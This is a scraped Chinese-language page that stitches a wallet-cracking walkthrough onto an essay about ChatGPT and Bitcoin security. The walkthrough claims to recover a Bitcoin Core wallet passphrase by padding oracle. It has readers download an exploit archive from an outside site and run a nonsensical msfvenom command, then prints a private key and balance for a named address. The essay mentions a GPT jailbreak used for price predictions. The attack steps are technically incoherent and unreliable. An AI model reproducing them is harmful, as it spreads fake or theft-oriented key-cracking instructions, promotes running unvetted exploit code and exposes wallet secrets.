  "timestamp": 1,
  "labels": [
    ""
  ]
}
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們執行 dumpprivkey 指令來取得比特幣錢包的私鑰:  1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

dumpprivkey "address"

Reveals the private key corresponding to 'address'.
Then the importprivkey can be used with this output

讓我們運行命令:

dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

結果:

Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

我們看到對比特幣錢包私鑰的存取 受到密碼保護。

passphrase ?!?!?
passphrase ?!?!?
passphrase ?!?!?

讓我們運行並將密碼解密為二進位格式,為此我們需要安裝比特幣核心整合/暫存樹Padding Oracle Attack на Wallet.dat儲存庫;為此您可以從Jupyter Notebook 開啟完成的檔案 並將其上傳到 Google Colab 筆記本)


https://colab.research.google.com/drive/1rBVTPyePTMjwXganiwkHfz59vcAtN5Wt

Libbitcoin Explorer 3.x庫中的Milk Sad漏洞,如何從比特幣錢包(BTC)用戶竊取90萬美元
ht tps://github.com/demining/CryptoDeepTools/tree/main/27PaddingOracleAttackonWalletdat

Padding_Oracle_Attack_on_Wallet_dat.ipynb


讓我們使用連結開啟Google Colab服務:https: //colab.research.google.com


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

點擊“"+"建立新記事本”


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

在 Google Colab 中安裝 Ruby

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

為了運行我們需要的程序,我們將安裝物件導向的程式語言Ruby


!sudo apt install ruby-full

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

我們來檢查安裝版本


!ruby --version
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
Ruby 版本 3.0.2p107(2021-07-07 修訂版 0db68f0233)[x86_64-linux-gnu]

讓我們安裝一個'bitcoin-ruby'與比特幣協議/網路互動的庫


!gem install bitcoin-ruby

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們安裝一個'ecdsa'用於實現橢圓曲線數位簽章演算法(ECDSA)的庫


!gem install ecdsa

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們安裝一個函式庫來相互'base58'轉換整數或二進制數。base58


!gem install base58

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們安裝一個函式庫'crypto'來簡化位元組操作和基本加密操作


!gem install crypto

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們安裝一個函式庫'config-hash'來簡化大數據的處理。


!gem install config-hash -v 0.9.0

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們安裝 Metasploit Framework 並使用 MSFVenom

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們從GitHub安裝Metasploit 框架並使用MSFVenom工具建立有效負載。


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

我們來看看資料夾的內容"metasploit-framework"


ls

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

選項:

!./msfvenom -help 
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊




讓我們在 Google Colab 中安裝Bitcoin Core 整合/暫存樹

!git clone https://github.com/bitcoin/bitcoin.git


ls

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們透過目錄找到檔案:aes.cpp來整合漏洞以對Wallet.dat發起Padding Oracle Attack

cd bitcoin/src/crypto/

ls

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

使用 cat 實用程式開啟檔案:aes.cpp

cat aes.cpp

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

若要進行攻擊,請將檔案:wallet.dat上傳至目錄:bitcoin/src/crypto/

讓我們使用該實用程式wget並從27PaddingOracleAttackonWalletdat儲存庫下載wallet.dat

!wget https://github.com/demining/CryptoDeepTools/raw/29bf95739c7b7464beaeb51803d4d2e1605ce954/27PaddingOracleAttackonWalletdat/wallet.dat
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們檢查一下目錄的內容:bitcoin/src/crypto/

ls
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們回到Metasploit Framework

cd /

cd content/metasploit-framework/

ls
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

我們按照目錄打開資料夾:/modules/exploits/

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

利用DarlenePRO

"ExploitDarlenePRO"從目錄下載:/modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/fe9b4545d58e43c1704b0135383e5f124f36e40cb54d29112d8ae7babadae791/ExploitDarlenePRO.zip
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

ExploitDarlenePRO.zip使用該實用程式解壓縮內容unzip

!unzip ExploitDarlenePRO.zip
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們來瀏覽一下目錄:/ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

要運行該漏洞,讓我們回到Metasploit Framework

cd /

cd content/metasploit-framework/

ls
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

我們需要識別我們的LHOST (Local Host)攻擊 IP-address虛擬機器。

讓我們運行命令:

!ip addr
!hostname -I
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們使用該工具來創建有效負載 MSFVenom

操作時選擇比特幣錢包:1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

Libbitcoin Explorer 3.x庫中的Milk Sad漏洞,如何從比特幣錢包(BTC)用戶竊取90萬美元
https://btc1.trezor.io/address/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

啟動命令:

!./msfvenom 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

結果:

1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101

我們需要將生成的二進位格式儲存到檔案中:walletpassphrase.txt我們將使用Python 腳本

團隊:

import hashlib

Binary = "1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101"

f = open("walletpassphrase.txt", 'w')
f.write("walletpassphrase " + Binary + " 60" + "\n")
f.write("" + "\n")
f.close()

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

開啟檔案:walletpassphrase.txt

ls
cat walletpassphrase.txt

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

結果:

walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60

存取私鑰的密碼已找到!


dumpprivkey "address"讓我們透過控制台使用該命令Bitcoin Core

團隊:

walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60

dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

結果:

KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz

私鑰已收到!


讓我們安裝庫Bitcoin Utils

pip3 install bitcoin-utils
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們運行程式碼來檢查比特幣地址的合規性:

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

Private key WIF: KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz
Public key: 02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f
Address: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
Hash160: 7774801e52a110aba2d65ecc58daf0cfec95a09f

--------------------------------------

The message to sign: CryptoDeepTech
The signature is: ILPeG1ThZ0XUXz3iPvd0Q6ObUTF7SxmnhUK2q0ImEeepcZ00npIRqMWOLEfWSJTKd1g56CsRFa/xI/fRUQVi19Q=
The signature is valid!

這是正確的!私鑰對應比特幣錢包。


讓我們打開 bitaddress 並檢查:

ADDR: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
WIF:  KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz
HEX:  3A32D38E814198CC8DD20B49752615A835D67041C4EC94489A61365D9B6AD330
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

https://www.blockchain.com/en/explorer/addresses/btc/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

BALANCE: $ 44502.42



參考:


本資料是為 CRYPTO DEEP TECH入口網站創建的 ,旨在確保資料和橢圓曲線加密 secp256k1的財務安全,防止比特幣加密貨幣 中的 弱ECDSA 簽章 。該軟體的創建者不對材料的使用負責。


來源

電報:https://t.me/cryptodeeptech

影片素材:https://youtu.be/0aCfT-kCRlw

來源:https://cryptodeep.ru/padding-oracle-attack-on-wallet-dat


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

 密碼分析

]]>
作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。 https://cn.cryptodeeptech.ru/chatgpt-bitcoin/ Thu, 11 May 2023 16:24:32 +0000 https://cn.cryptodeeptech.ru/?p=2159

比特幣是去中心化網絡的一個例子。沒有任何人或組織可以控制它。這是其架構的一部分。對於許多人來說,以具有更多內存的塊將是有益的為藉口創建比特幣現金被大多數社區視為攻擊去中心化的一個例子。對利益相關者網絡及其挖礦和託管節點技術的依賴。 

國家(甚至超國家,如歐盟)政府也尋求集中控制。這些政治機構有時旨在禁止當局以外的任何人使用和利用比特幣。然而,根據這位作者的說法,網絡的設計阻礙了這種選擇,導致他們經歷了比特幣的第三種也是最大的危險。

ChatGPT已成為大多數人每天用來自動執行各種任務的不可或缺的工具。如果您已經使用 ChatGPT 一段時間,就會明白它可能會給出錯誤的答案並將空上下文限制在某些小眾主題中。這就提出了我們如何連接到 chatGPT 以彌合差距並讓 ChatGPT 擁有更多用戶數據的問題。

大量的知識在我們每天與之交互的各種平台上共享,例如工作中的 confluence wiki、鬆散的小組、企業知識庫、Reddit、Stack Overflow、書籍、時事通訊和同事共享的 Google 文檔。跟踪所有這些信息來源本身就是一項全職工作。

如果您可以有選擇地選擇數據源並輕鬆將該信息傳遞到包含您的數據的 ChatGPT 對話框中,那不是很好嗎?

根據我們的密碼分析:“區塊鏈攻擊向量和智能合約的漏洞”比特幣的日益普及正在吸引黑客和其他攻擊者。但是這些黑客究竟能破解什麼呢?

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

比特幣安全有多個級別。我們可以談論挖掘和潛在的 51% 攻擊來重構最近的區塊,我們可以探索錢包被黑客攻擊以找到其私鑰的可能性,或者我們可以採取簡單的方法並假設社交攻擊增加(惡意開發人員插入惡意代碼,或被騙丟失硬幣的個人比特幣用戶)。

首先,51% 攻擊是比特幣面臨的最大安全威脅之一,它是工作量證明方案的一部分。僅大多數礦工的哈希率可以惡意行事的想法是一個嚴重的攻擊媒介。然而,所謂的中本聰共識的激勵機制是這樣設計的,即遵守規則比試圖攻擊系統更有利可圖。購買和租用挖礦設備,然後消耗大量電力來雙花交易和重組最近的區塊,一點都不便宜。

憑藉每秒超過 360 exahashes 的哈希率,即使是世界上最有資源的政府和跨國公司也很難積累 51%。此外,超級計算機並未像比特幣 ASIC 那樣針對運行 SHA-256 哈希進行優化,因此如果將世界上所有的超級計算機放在一起,最終只能得到一個非常小且微不足道的礦池。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。
作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

對比特幣的 51% 攻擊需要購買或租賃目前用於保護網絡安全的稀缺且高度專業化的硬件,同時因遵守規則而獲得獎勵。經濟激勵很重要,到目前為止,礦工一直保持誠實,專注於他們的目標,並有效地使用能源。任何對比特幣進行此類攻擊的人都需要大量資源來維持它。 

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

攻擊者面臨的最大風險是誠實的網絡成員分叉到復制 UTXO 集的新鏈中,以維護硬幣的合法所有權。這些努力並不能保證任何盈利或成功,充其量只能作為針對網絡安全的政治 FUD。如果財務激勵保持不變,我們很可能永遠不會看到重大的 51% 攻擊。

ChatGPT,風靡全球的 AI 語言機器人,由於新的 OpenAI 插件的發布,剛剛為其武器庫增添了更多火力。這些插件打開了廣泛的第三方知識來源和數據庫,包括 Internet,從而擴展了其已經令人印象深刻的功能。

這些 新插件的集成 可能會改變加密行業的投資者和交易者的遊戲規則。然而,這種整合對加密行業的影響仍有待觀察。 

ChatGPT 互聯網功能對加密貨幣的影響

ChatGPT 實時訪問互聯網的能力可能對加密行業的投資者和交易員以及整個市場產生重大影響。

通過訪問不斷擴大的信息池,聊天機器人可以為投資者和交易者提供有關市場趨勢和事件的實時信息。這意味著用戶可以及時了解最新消息和見解,從而有可能做出更明智、更有利可圖的決策。

此外,實時 Internet 訪問的集成可能使ChatGPT能夠在新趨勢和機會成為主流之前識別它們。這可以讓交易者比他們的競爭對手更具優勢,並增加利潤。

即使是多個用戶匯集他們的計算能力來分享獎勵的大型池也受制於博弈論,這使得他們公平。在政府的壓力下,他們可能會選擇完全停止挖礦,以免攻擊網絡。禁用挖礦會導致循環中剩餘區塊的崩潰,但在每 2016 個區塊之後(大約 2 週)就會有一個新的難度調整,並且在挖礦結束時世界的另一個地方總會有其他人想要開始挖礦. 成功找到正確哈希的機會更高。比特幣是經過深思熟慮的,這些攻擊從未成功是有原因的——在早期更容易成功的時候。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

此外,ChatGPT 聲稱,隨著流行度的增長,攻擊者將會出現。所以從一開始,發起51%攻擊就不應該符合這個描述,因為更多的用戶加入也會導致部署更多的礦場。然而,解釋是很重要的,因為人工智能軟件與問題沒有直接關係。

ChatGPT是 OpenAI 語言模型的下一個演變,在這種情況下,專門調整為充當“Oracle Chatbot”(我的定義),它知道大量荒謬的事情,你可以通過提出自然語音等問題來諮詢。特別是,在這裡我試圖滿足我對加密貨幣、區塊鍊等,或者更確切地說是它們的應用程序的好奇心。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

ChatGPT讓我有機會探索有關加密世界的問題,而我只是不知道該問哪裡。我開始嘗試了解加密貨幣的未來,然後轉向我最感興趣的問題:該技術的當前和未來應用有哪些具體示例?(與只是理想化的應用程序相反,在實踐中可能無法實現。)

下面,我的問題以粗體顯示,ChatGPT 答案以純文本顯示。時不時地,當我認為 ChatGPT 可能在胡編亂造時,我去 Google 查找信息以確認或否認 ChatGPT 的答案。在撰寫本文時,我在我的問題和 ChatGPT 答案之間插入了引用註釋。我所做的這些評論有時直接指的是 ChatGPT 響應的“質量”,有時指的是所傳達的信息以及我在查閱網絡後可以核實或排除的任何事實。

ChatGPT 將去中心化 作為支持旗艦數字資產的主要論據 ——沒有任何單一實體(例如政府或金融機構)可以控制它,這反過來又提供了更大的自由、自主權以及對審查和操縱的抵抗力。。

AI 強調的第二個原因是,比特幣可以  為無法或難以獲得銀行服務的個人提供金融服務,例如,在銀行系統不發達或不發達的地區。為了使用加密貨幣,您只需要一部智能手機和互聯網接入。

排在第三位的是  比特幣 交易費用, “與傳統金融服務相比,尤其是在進行跨境交易時”,比特幣交易費用可能更低 。ChatGPT 的問題強調,這還可以降低需要進行國際轉賬的個人和企業的成本。

此外,“比特幣交易記錄在稱為區塊鏈的公共防篡改分類賬上”,因此“可以輕鬆驗證和跟踪交易,從而降低欺詐和腐敗的風險。”

根據ChatGPT 的數據,到 2035 年,比特幣的性能有 15% 的機率下降 99.999%,變得無關緊要。 這是由 Coinbase Conor Grogan 交易部門負責人宣布的。 

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

Grogan 對此發表評論說,GPT 是比特幣的忠實粉絲,但對山寨幣及其可持續性持懷疑態度。 例如,對於狗狗幣,他估計到 2035 年類似事情發生的概率為 45%,而對於萊特幣,估計為 35%。 另一方面,對於以太坊來說,它是 20%,或者說比比特幣稍微多一點。

監管和對比特幣的大加密威脅

如上所述,這就是最大的危險所在。眨眼間,世界上每個國家都可以聯合起來,合法地禁止用比特幣交換商品或服務。 

或者,通過將比特幣歸入計算機工程實驗室,讓該行業的公司難以為繼。 

在短期內和片段中,這種情況今天仍在發生。在我們的影響圈內,多虧了美國,我們的想法是不制定阻礙技術和經濟發展的法律。惡意使用還可以使公眾相信警方檢查是有用的。雖然這是最真實的危險,但在實踐中卻沒有那麼簡單。只需一個國家打破反比特幣協議,就可以吸收所有比特幣,充當“加密貨幣避風港”。我們和該行業的每個人都有責任用良好的用例填充市場,賦予替代社區和經濟結構權力。以及技術的發展,以提供一個更加透明和平等的系統。這是每個人在風險之外的渴望。

所有加密貨幣的潛在風險

然而,這種發展也存在潛在風險。 

一個潛在的風險是機器人正在訪問的信息的可靠性。並非所有在線可用信息都是準確或可靠的,使用此類信息可能會導致不正確的投資決策。因此,交易者和投資者必須謹慎行事,並確保他們用來做決定的信息來自可靠的來源。

另一個潛在的風險是市場的發展速度。在瞬息萬變的加密交易世界中,實時信息可能很快就會過時。根據不再相關的信息做出決策可能會導致重大損失。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

其次,讓我們談談迭代錢包以找到允許黑客竊取資金的私鑰。隨著比特幣成為主流,這絕對是理論上應該變得更加普遍的安全漏洞類型。每個互聯網黑客都應該嘗試破解錢包文件,嘗試猜測有效的 BIP39 種子短語並生成正確的密碼短語。祝你好運——你有更好的機會在遙遠的星球上找到智慧的外星生命,或者在沙漠中挖掘出一粒特定的沙子。

讓我們舉一個最明顯的例子:  中本聰的代幣。Sergio Demian Lerner 在他的研究項目 Patoshi中描述的傳奇百萬  是最高獎項。沒有證據表明這個關於中本聰可以擁有什麼的理論是正確的——這只是一個表明中本聰一直在挖礦的分析。但由此產生的代幣,無論屬於誰,都一目了然,自 2009 年以來就沒有動過。每個人都知道它們的存在,並且可以在公共註冊表中跟踪它們。但是,沒有人可以破解私鑰以主張對它們的權利。用數字來表示,比特幣總共有 2,256 個 可能的  私鑰,而只有 2,160 個 可能存在的地址組合(假設它們都是 160 位)。但是,枚舉必須以現有且有效的公鑰開頭。這本身就需要額外的努力。

加密貨幣的未來很難預測,因為技術和市場仍然相對較新且不斷發展。然而,許多專家認為,加密貨幣可以變得更加廣泛並融入主流金融系統。可能影響加密貨幣未來的一些關鍵因素包括更方便和安全技術的開發、更多企業和機構採用加密貨幣以及政府和其他組織對市場的監管。

人工智能領域的通縮、隱私、可編程

正如聊天機器人正確指出的那樣,比特幣 的供應量有限,為 2100 萬比特幣,使其成為通貨緊縮貨幣,降低了通貨膨脹的風險,通貨膨脹往往會“隨著時間的推移削弱傳統貨幣的購買力”。

GPT-4 支持比特幣的第六個論點是, 與傳統交易相比,資產轉移的保密程度更高 ,因為在加密貨幣轉移中只使用公共地址,而不是敏感的個人信息。

排在第七位的是比特幣作為一種投資和一種使金融投資組合多樣化的方法的價值  ,因為按市值計算最大的去中心化金融 (DeFi) 資產已經證明了“隨著時間的推移價值顯著增長的潛力”。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。
作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

最後但並非最不重要的是:

“比特幣和其他加密貨幣能夠創建 智能合約可編程貨幣,這些貨幣可以自動化和簡化各種財務流程和交易,從而提高效率和新的商業模式。”

未來就在這裡,ChatGPT 對比特幣和加密貨幣市場趨勢的預測

需要注意的是,為了獲得這些結果,Grogan 使用了 GPT越獄 ,他稱之為 JamesGPT(Just Accurate Markets Estimation System),它可以讓你對任何主題進行未來預測。 

然而,與此同時,他想知道這樣的工具是否真的對研究人員有用,尤其是對於識別偏見。 

可以幫助研究人員更好地檢測偏差並調整 AI 嗎? 
pic.twitter.com/jqTcNbCT2d– Conor (@jconorgrogan) 
2023 年 4 月 30 日

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

事實上,就目前所知,這樣的預測根本算不上可靠。甚至不清楚 ChatGPT如何 制定它們。 

眾所周知,JamesGPT 鼓勵 GPT 在各種主題上“權衡”其信念,儘管提供的結果可能並不明確,並且可能會根據市場變化略有不同。

Grogan 說,他向 GPT4 提出了 100 次相同的問題,得到的答案實際上非常一致,標準差小於 10%。 

然而,仍然有趣的是,ChatGPT 可能會從互聯網上提取這些數據,或者至少從它認為可靠的來源中提取。 

因此,他的預測至少可以被視為他認為權威的來源的一種“共識平均值”。

人工智能最重要的風險與發展

與比特幣相關的多種風險可能會影響其價值和接受度。以下是一些最重要的:

  • 監管:世界各地的政府和金融當局仍在研究如何監管比特幣和其他加密貨幣。對比特幣過於嚴格或敵對的規則可能會導致其採用和使用的減少,而過於寬鬆的規則可能會導致詐騙和騙局的增加。
  • 安全性:比特幣基於一個分散的系統,該系統依賴複雜的算法和密碼學來提供安全性。然而,該系統並不可靠,曾發生過交易所和錢包被黑客入侵和被盜的情況。
  • 波動性:比特幣的價格一直非常不穩定,在短時間內上下波動很大。這使得它對某些人來說是一項風險投資,並且很難將其用作可靠的交換媒介。
  • 採用:雖然比特幣在過去十年中取得了顯著增長,但它仍然面臨著使用和接受度增加的挑戰。許多商家仍然不接受比特幣作為一種支付方式,並且對於想要購買和使用比特幣的人來說仍然存在很大的障礙。
  • 競爭:比特幣不是市場上唯一的加密貨幣。還有數以千計具有不同功能和用例的其他加密貨幣可能會挑戰比特幣的主導地位。
作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。
作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

GhatGPT 能否加快尋找中本聰丟失的比特幣錢包的私鑰。

為中本聰丟失的價值數十億美元的比特幣錢包尋找私鑰的工作一直困擾著人們,直到今天,遍歷錢包的方法是試圖找到與同一地址衝突的 296 個私鑰中的  一個可能性的數量是 79,228,162,514,264,337,593,543,950,335——大約是宇宙中估計的恆星數量的 79,228 倍。另一方面,如果你想破解一個特定的錢包(例如中本聰的錢包),你必須處理所有 2,256 個 私鑰 組合。假設你擁有每秒嘗試 1,000 萬億個密鑰的計算能力,那麼你嘗試任何一個密鑰都需要 2.7 × 1044 次  × 宇宙年齡(如上 )。Bitcoin StackExchange 上的開發者 Raghav Sood)。這個數字超過了人類可以測量的任何東西,包括我們觀察到的世界周圍的原子數量。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

BIP39助記詞共有2048個單詞,12/24的組合。為方便起見,我們假設這是 12 個單詞的基本設置。要猜測隨機數,您有 2048  12  (或 2  132  )種可能性。根據 Reddit BashCo 主持人的說法,這個數字是 115 qattuorvigintillion 792 trevigintillion 89 duovigintillion 237 unvigintillion 316 vigintillion 195 novemdecillion 423 octodecillion 570 septendecillion 985 sexdecillion 8 quintedecillion 687 quattu ordecillion 907 tredecillion 853 duodecillion 269 undecillion 984 decillion 665 nonillion 640 octillion 564 septillion 39 sextillion 457 萬億 584 萬億 7 萬億 9130 億 1.29 億 63.9 萬 936.

如果你確定 2048 個單詞中的一個必須是第一個,那麼你的機會變成 2048  11  ,因為在 BIP39 中單詞可以在相同的設置中重複。如果您的前 10 個單詞順序正確,而您只想要第 11 和第 12 個,則您只有 2048  2 種 可能性,這在今天已經使它成為普通計算機處理器的蠻力。因此,請妥善保管您的原始密碼短語,如果您覺得舒服,請從 BIP39 字典外部在其上添加一個密碼短語。這將大大提高您的安全性,但只有在您忘記或丟失密碼時才會成為問題。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。
作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

但總的來說,正如 Peter Todd 和 BIP39 的聯合創始人 Pavol “Stick” Rusnak 指出的那樣,這是非常不切實際的,就像說足球場上可以停放 500 輛汽車一樣。Peter 的建議是完全刪除它,因為攻擊 BIP39 種子短語的有效方法是暴力破解生成的私鑰。

加密貨幣和底層區塊鏈技術有許多不同的應用。一些更常見的用途包括:

  1. 數字貨幣:加密貨幣最著名的用途是作為一種數字貨幣,可用於在個人之間進行購買或轉移價值。最著名的加密貨幣是比特幣,但還有許多其他加密貨幣也用於此目的,例如以太坊和萊特幣。
  2. 智能合約。區塊鏈技術可用於創建自動履行兩方協議條款的“智能合約”。例如,智能合約可用於在滿足某些條件時自動將財產的所有權從一個人轉移到另一個人。
  3. 供應鏈跟踪:區塊鏈技術可用於跟踪貨物在供應鏈中的流動,提供透明度和問責制。例如,一家食品公司可以使用區塊鏈來追踪原料的來源和流動,從而保證其產品的質量和安全。
  4. 身份管理:區塊鏈技術可用於創建安全的去中心化系統,用於存儲和驗證個人身份信息。這可用於構建更安全和高效的投票系統、社交媒體和其他應用程序。

這些只是加密貨幣和底層區塊鏈技術的許多可能應用的幾個例子。隨著技術的不斷發展,可能會開發出新的創新方法來使用它。

ChatGPT 比特幣價格預測

事實上,要正確解讀ChatGPT關於 比特幣 在未來 12 年內爆炸式增長的回答,人們必須考慮的不是他預測它有 15% 的可能性,而是他實際上認為它有 85% 的可能性。 

這就是為什麼根據 Grogan 的說法,GPT 是比特幣的忠實粉絲。 

必須要說的是,比特幣在中/長期內失敗的估計概率如此之低是很常見的,尤其是在比特幣支持者中,儘管對於最大化主義者來說,它可能甚至更低,如果不是接近於零的話。 

所以 ChatGPT 並不是比特幣的極簡主義者,但似乎與比特幣人有著相同的“想法”。 

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

鑑於上述關於 ChatGPT 做出這些預測的方法的考慮,似乎對這種推理有兩種解釋。 

ChatGPT 要么在被認為是比特幣權威的來源中主要包括比特幣支持者,要么事實上,到目前為止,即使在主流金融領域,真正的比特幣爆炸的假設也被認為是微不足道的。 

關鍵是其他類似的舉措也產生了類似的結果,即目前專家們的共識是比特幣不太可能在十年左右的時間內崩潰。 

因此,普遍的共識似乎恰恰是內爆的可能性很低,但並非不存在。

Quantum Computing + ChatGPT 為丟失的比特幣錢包尋找私鑰,作者:Satoshi Nakamoto。

是的,量子計算在未來可能是一種威脅。但那個未來還有很長的路要走:截至 2023 年 3 月,世界上最強大的量子計算機是 IBM Osprey,一台標榜有 433 個物理量子位的機器。正如 AVS Quantum Science 雜誌發表的2022 年研究論文中所述  ,一台試圖在 24 小時內破解比特幣橢圓曲線公鑰密碼的計算機需要 13×106 個 量子比特 。換句話說,量子計算機必須變得強大數千倍才能破解比特幣。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。
作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

迄今為止,量子計算的技術飛躍略微超過了摩爾定律。出於預測目的,讓我們使用此模型,假設該模式繼續存在並且量子位的數量繼續每 2 年翻一番。要從 433 增加到 13 × 10  6  ,量子計算機必須變得更強大 30,023 倍。至少還需要 20 年的時間,我們才能真正開始擔心。

作為人工智能的 ChatGPT 為我們提供了安全和保護比特幣加密貨幣免受各種攻擊的巨大機會。

